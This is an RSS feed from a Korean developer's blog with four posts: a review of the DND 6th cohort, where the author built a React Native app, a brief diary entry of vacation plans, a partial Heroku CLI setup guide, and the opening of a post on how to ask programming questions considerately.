<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>유사컴공 낙서장</title>
    <link>https://pseudo-comsci.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sat, 22 Aug 2026 11:16:36 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>NONE_31D</managingEditor>
    <item>
      <title>DND 6기 합격 및 활동 후기</title>
      <link>https://pseudo-comsci.tistory.com/78</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;2021년 12월 30일, 연말을 맞이하면서 합격 발표를 기다렸고 항상 하던대로 메일을 확인했다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sggw9/btrvDP2ZmZC/0cKB620rKKdX6IhwC4kNQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sggw9/btrvDP2ZmZC/0cKB620rKKdX6IhwC4kNQ0/img.png&quot; data-alt=&quot;야호!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sggw9/btrvDP2ZmZC/0cKB620rKKdX6IhwC4kNQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSggw9%2FbtrvDP2ZmZC%2F0cKB620rKKdX6IhwC4kNQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;617&quot; height=&quot;118&quot; data-origin-width=&quot;617&quot; data-origin-height=&quot;118&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;야호!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;DND는 우연히 페북 피드를 통해서 보게 되었다. 엄청난, 고퀄리티의 모집 이미지와 공식 홈페이지에 반해 자연스럽게 홈페이지를 살펴보게 되었고, 진행되었던 프로젝트들을 보니 관심을 가지게 되었다. 방학에 프로젝트를 진행하려고 생각을 했으니 여기를 통해서 진행해도 괜찮겠다 싶어 지원서를 작성하기 시작했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;지원서는 간결하면서도 은근히 작성할게 많은 질문들이었다.-라고 생각을 했었지만, 글을 작성하려고 지원 서류를 다시 보니 질문 개수가 20개가 넘어간다...- 인상깊었던 것은 지원 서류에 지원자의 이름과 직업을 제외하고는 성별, 소속 등을 전혀 묻지 않았다는 것이다. 지금까지 대외활동을 지원하면서 이렇게까지 인적사항을 간결하게 물었던 것은 처음이라, DND의 &lt;b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&quot;DND는 누구나 자유롭게 참여할 수 있는 커뮤니티를 지향합니다.&quot;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;라는 말이 더 다가왔던 것 같다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지원서를 쓸 때 약간의 해프닝이 있었는데, 지원서 질문을 다른 메모장에 옮겨서 지원서를 작성하고, 마감 2시간 전에 제출하려고 구글 폼에 작성을 하고 있었는데... 아뿔싸, 제일 마지막 장에 질문이 더 있었던 것이다. 다행히 충분히 대답할 수 있는 질문들이라 막판 스퍼트를 내고 마감 8분전, 제출에 성공했다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;103&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWNUrF/btrvIzjPiPy/KQHz6UK8QWXkYFjWJsUD6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWNUrF/btrvIzjPiPy/KQHz6UK8QWXkYFjWJsUD6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWNUrF/btrvIzjPiPy/KQHz6UK8QWXkYFjWJsUD6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWNUrF%2FbtrvIzjPiPy%2FKQHz6UK8QWXkYFjWJsUD6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;641&quot; height=&quot;41&quot; data-origin-width=&quot;1628&quot; data-origin-height=&quot;103&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;아무튼 이래저래 합격했고, 1월부터 활동이 시작되었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;DND에서는 지원할 때 지원자의 MBTI를 수집하고, 이를 바탕으로 팀빌딩을 진행했다. 나는 MBTI에 크게 별 생각이 없지만 딱 하나 확실하다고 생각되는 부분이 있는데, 바로 I와 E의 차이이다. 그리고 DND의 운영진 분들은, 대부분 E인 것 같은, OT부터 아주 외향적인 면모를 보여주셨다. 조금 부담스럽기도 했지만, 2년동안 비대면으로 생활하면서 이런 분위기가 오랜만이었기 때문에 즐겁게 들었던 것 같다.&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;활동은 2월 26일까지 총 8주간 진행되었다. 처음에는 꽤 넉넉한 일정이라고 생각했지만, 4~5주차까지 기획과 디자인이 있었기 때문에 프론트엔드인 나는 크게 진행할 수 있는 일이 없었고, 8주차에 막판 스터트를 엄청 달리게 되었다. (같이 달리게 된 팀원분께 감사를...)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;활동하면서 있었던 이슈는 다음과 같았는데,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;1. 갑작스런 기술 스택 변경&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;2. &lt;s&gt;맥북의 사망 &lt;/s&gt;&lt;/span&gt;&lt;span&gt;일정 이슈&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;갑작스런 기술 스택 변경&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;원래 리액트를 주로 다뤘었고, 이번에도 웹 프로젝트를 다루려고 생각했었는데 팀에서 나온 주제가 아무리 생각해도 어플리케이션으로 진입해야 이점을 살릴 수 있는 주제였다. 3년 전에 iOS 스위프트를 가지고 프로젝트를 진행해본 경험은 있었지만 너무 까마득한 옛날이기도 했고, 짧은 활동 기간 내에 익히기 어렵다고 판단했다. 나와 같이 프론트를 맡으신 팀원분이 제시해준 것은 React Native였고, 약간의 고민 끝에 이로 기술스택을 변경하기로 동의했다. 이렇게, 갑작스럽게 새로운 기술스택 항해가 시작되었다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;React Native을 모르는 상태로 프로젝트를 진행하는게 그렇게 쉬운 일은 아니었다. 정말 제한적인 CSS, 미묘하게 React와 다른 문법, 새롭게 배워야하는 Navigation... 이를 우선 들이박으면서 개발을 진행하려다 보니 아직도 모르는 기초적인 부분이 남아있게 된 것 같다. 의외로 제일 힘들었던 부분은 그라데이션 구현의 제한이었다. -그러나 그라데이션이 주 디자인인 우리의 서비스...-&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;span&gt;현직자인 팀원분이 앞에서 리딩을 잘 해주셔서, 여차저차 8주차에 발표할 수 있는 수준으로 개발을 할 수 있었다.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;맥북의 사망 및 일정 이슈&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;8주차 최종 발표까지 열흘 정도 남았을 때, 다른 공모전 마감을 하다가 문제가 생겼다. 맥북을 통째로 날려버린 것.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oZOHC/btrvAVVYwyk/KVRaRZs9NAYPFPooVLoSY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oZOHC/btrvAVVYwyk/KVRaRZs9NAYPFPooVLoSY1/img.png&quot; data-alt=&quot;디스플레이는 수리가 필요할수도, 아닐수도 있습니다. -슈뢰딩거의 디스플레이-&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oZOHC/btrvAVVYwyk/KVRaRZs9NAYPFPooVLoSY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoZOHC%2FbtrvAVVYwyk%2FKVRaRZs9NAYPFPooVLoSY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;232&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;디스플레이는 수리가 필요할수도, 아닐수도 있습니다. -슈뢰딩거의 디스플레이-&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;하필이면 iOS를 기준으로 작업을 하고 있었기에 맥북이 필수적인 상황이었고, 아직 남은 작업량은 꽤나 많았기 때문에 엄청난 패닉에 빠져있었다. 다행히 주변 친구의 도움으로 맥북을 빌려 작업을 다시 시작했지만, 작업 시간이 너무 빠듯했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;최종 주차까지 일정이 원만하게 흘러가지 않은 데에는 여러 이유가 있었다. 생각보다 기획에 오래 걸렸던 것, 시간 투자를 충분히 하지 못한 점, 백엔드와의 의사소통을 확실히 하지 않은 점 등. 짧은 시간에 어떤 서비스를 개발하기 위해 고려해야 할 부분은 많았고, 그러나 나는 그만큼 근면하진 못했었던 것 같다. 남은 3월 마무리에서는 조금 더 계획적으로, 충실하게 프로젝트를 마무리해야겠다.&lt;/span&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;우리 팀은 서비스 개발 및 배포까지 목표로 하여, 한 달을 추가로 더 달려보기로 했다. DND와는 별개의 진행이지만, 8주 동안 우리 팀을 맡고 어드바이징을 해주셨던 운영진님이 계속해서 도와주시기로 하셔서 총 7명이 배포까지 팀을 유지하게 되었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;지금까지 적지 않은 수의 프로젝트를 진행했었지만, 실제 배포로 이어진 프로젝트는 거의 없었다. 이 프로젝트를 마무리 하면서 내가 또 한번 성장할 수 있기를 기대하며,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;걱정마시조 여러분 고생하셨습니다. :)&lt;/span&gt;&lt;/p&gt;</description>
      <category>Project</category>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/78</guid>
      <comments>https://pseudo-comsci.tistory.com/78#entry78comment</comments>
      <pubDate>Fri, 11 Mar 2022 11:57:05 +0900</pubDate>
    </item>
    <item>
      <title>2020.09.12</title>
      <link>https://pseudo-comsci.tistory.com/77</link>
      <description>&lt;p&gt;왘 여기 이렇게 글써보는게 너무 오랜만인데&lt;/p&gt;
&lt;p&gt;1. 기본 서체가 바뀐 것 같은 느낌?&lt;/p&gt;
&lt;p&gt;2. 할게 너무 많고, 하고 싶은 것도 많고. 그 사이에 중재점이 필요한데 그걸 못하고 있는 것 같다&lt;/p&gt;
&lt;p&gt;3. 38분 뒤에 코테있음 약간 즉흥적으로 신청했는데 그래서 안떨리나 'w'...어제 김칫국 마시는 꿈 꿨음&lt;/p&gt;
&lt;p&gt;4. 그래서 대충 이번 방학에 하려고 한게&lt;/p&gt;
&lt;p&gt;- 비오비 플젝&lt;/p&gt;
&lt;p&gt;- 알고알고 봇 서비스 - 웹 서비스 개시&lt;/p&gt;
&lt;p&gt;- 독일어 강의 (이건 좀 즉흥적이었다 ㅎ)&lt;/p&gt;
&lt;p&gt;- 학교 서버 관리 웹서비스&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이정도.&amp;nbsp; 그래서 장고+뷰(이것도 욕심) 공부하고, 시각화 단도 공부해야해서 좀 빡세지 않을까 하는...&lt;/p&gt;
&lt;p&gt;투두를 여기 적으려 했는데 딱히 의미가 없는 것 같다&lt;/p&gt;</description>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/77</guid>
      <comments>https://pseudo-comsci.tistory.com/77#entry77comment</comments>
      <pubDate>Sat, 12 Sep 2020 13:24:21 +0900</pubDate>
    </item>
    <item>
      <title>Heroku 설치</title>
      <link>https://pseudo-comsci.tistory.com/76</link>
      <description>&lt;p&gt;동아리에서 디비를 사용해야 할 일이 생겨서 함 사용해보기로 했음.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;공식 사이트 : heroku.com&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;1. 회원가입&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&quot;Sign up for free&quot;라고 되어있는 버튼 눌러서 간단하게 회원가입 진행. 많은 정보가 요구되지 않음.&lt;/p&gt;
&lt;p&gt;이메일 인증이 필요하고, 인증을 한 후에 비밀번호 설정을 진행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;2. 대시보드&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baZwEx/btqHMvLz55z/smS9duKkIKexrXTpTBL35K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baZwEx/btqHMvLz55z/smS9duKkIKexrXTpTBL35K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baZwEx/btqHMvLz55z/smS9duKkIKexrXTpTBL35K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaZwEx%2FbtqHMvLz55z%2FsmS9duKkIKexrXTpTBL35K%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이런식으로 본인 계정에 따른 대시보드를 보여주는데, 찾아보니까 CLI가 있길래 그걸로 진행하기로 함.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;3. CLI 설치&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다운로드 링크 : &lt;a href=&quot;https://devcenter.heroku.com/articles/heroku-cli&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;devcenter.heroku.com/articles/heroku-cli&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1599037227074&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;The Heroku CLI | Heroku Dev Center&quot; data-og-description=&quot;The Heroku CLI Last updated 01 September 2020 The Heroku Command Line Interface (CLI) makes it easy to create and manage your Heroku apps directly from the terminal. It&amp;rsquo;s an essential part of using Heroku. Download and install The Heroku CLI requires Git&quot; data-og-host=&quot;devcenter.heroku.com&quot; data-og-source-url=&quot;https://devcenter.heroku.com/articles/heroku-cli&quot; data-og-url=&quot;https://devcenter.heroku.com/articles/heroku-cli&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/tqvRL/hyHhY6NCOP/qJOGNj1WFgG9TrDGnCYlfK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://devcenter.heroku.com/articles/heroku-cli&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://devcenter.heroku.com/articles/heroku-cli&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/tqvRL/hyHhY6NCOP/qJOGNj1WFgG9TrDGnCYlfK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;The Heroku CLI | Heroku Dev Center&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;The Heroku CLI Last updated 01 September 2020 The Heroku Command Line Interface (CLI) makes it easy to create and manage your Heroku apps directly from the terminal. It&amp;rsquo;s an essential part of using Heroku. Download and install The Heroku CLI requires Git&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;devcenter.heroku.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;각자 os에 맞게 설치 진행&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;4. CLI 진행&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- heroku login&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bun526/btqHEexhBcm/SGZ1uFlxC0QzorAdjxnFNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bun526/btqHEexhBcm/SGZ1uFlxC0QzorAdjxnFNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bun526/btqHEexhBcm/SGZ1uFlxC0QzorAdjxnFNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbun526%2FbtqHEexhBcm%2FSGZ1uFlxC0QzorAdjxnFNK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;로그인은 브라우저를 통해서 진행된다. 한번 로그인하면 heroku logout 을 하기 전까지는 로그인이 유지된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;5. DB 연결 (MariaDB)&lt;/p&gt;
&lt;p&gt;참고 링크 :&amp;nbsp;&lt;a href=&quot;https://blog.jungbin.kim/service/2019/03/02/deploy-mariadb-heroku.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;blog.jungbin.kim/service/2019/03/02/deploy-mariadb-heroku.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/76</guid>
      <comments>https://pseudo-comsci.tistory.com/76#entry76comment</comments>
      <pubDate>Wed, 2 Sep 2020 20:03:16 +0900</pubDate>
    </item>
    <item>
      <title>서로 불편하지 않게 질문하는 방법</title>
      <link>https://pseudo-comsci.tistory.com/75</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;프로그래밍이랑 컴퓨터 공부를 하다 보면, 질문할 일이 정말 많다. 저ㅓㅓㅓㅓㅇ말 많다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;요즘 들어 질문을 받게 되는 일도 많아, 어떻게 하면 질문자와 답변자가 불편하지 않을 수 있는지 다루는 글을 적어보기로 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;* 이 글은 이경문 멘토님의 &amp;lt;질문하는 요령&amp;gt; 을 참고했음을 알립니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;a href=&quot;https://gilgil.gitlab.io/2019/08/02/1.html&quot;&gt;https://gilgil.gitlab.io/2019/08/02/1.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;** 글을 쓰는데 같이 도와준 숑숑 친구에게 감사 ㅎ&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1594045869171&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;article&quot; data-og-title=&quot;질문하는 요령&quot; data-og-description=&quot;계속 반복되는 것 같아서 정리해서 글을 올립니다. 질문하는 요령에 대해서 얘기하고자 합니다.&quot; data-og-host=&quot;gilgil.gitlab.io&quot; data-og-source-url=&quot;https://gilgil.gitlab.io/2019/08/02/1.html&quot; data-og-url=&quot;http://blog.gilgil.net/2019/08/02/1.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://gilgil.gitlab.io/2019/08/02/1.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://gilgil.gitlab.io/2019/08/02/1.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;질문하는 요령&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;계속 반복되는 것 같아서 정리해서 글을 올립니다. 질문하는 요령에 대해서 얘기하고자 합니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;gilgil.gitlab.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;0. 질문하기가 무서워요!&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;친구들에게 질문을 하자니, 내가 잘 모른다는 것을 알리기 싫고. 선배한테 물어보자니, 아는 선배가 없거나 겨우 이런거 물어보자니 눈치보이고. 교수님들은 너무 먼 곳에 계신 분 같아 선뜻 물어보기가 뭐하다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;사실 구글이라는 좋은 친구가 있기 때문에, 서치 능력이 좋은 사람이라면 구글링으로 거의 모든 정보를 찾을 수 있을 것이다. 하지만 대부분은 분명 구글링을 한다고 하는데도 마땅한 결과가 나오지 않는 경험을 해본 적이 있을 것이다. 질문도 못하고, 구글링도 못하고, 내 과제는 진행이 안되고. 막막할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
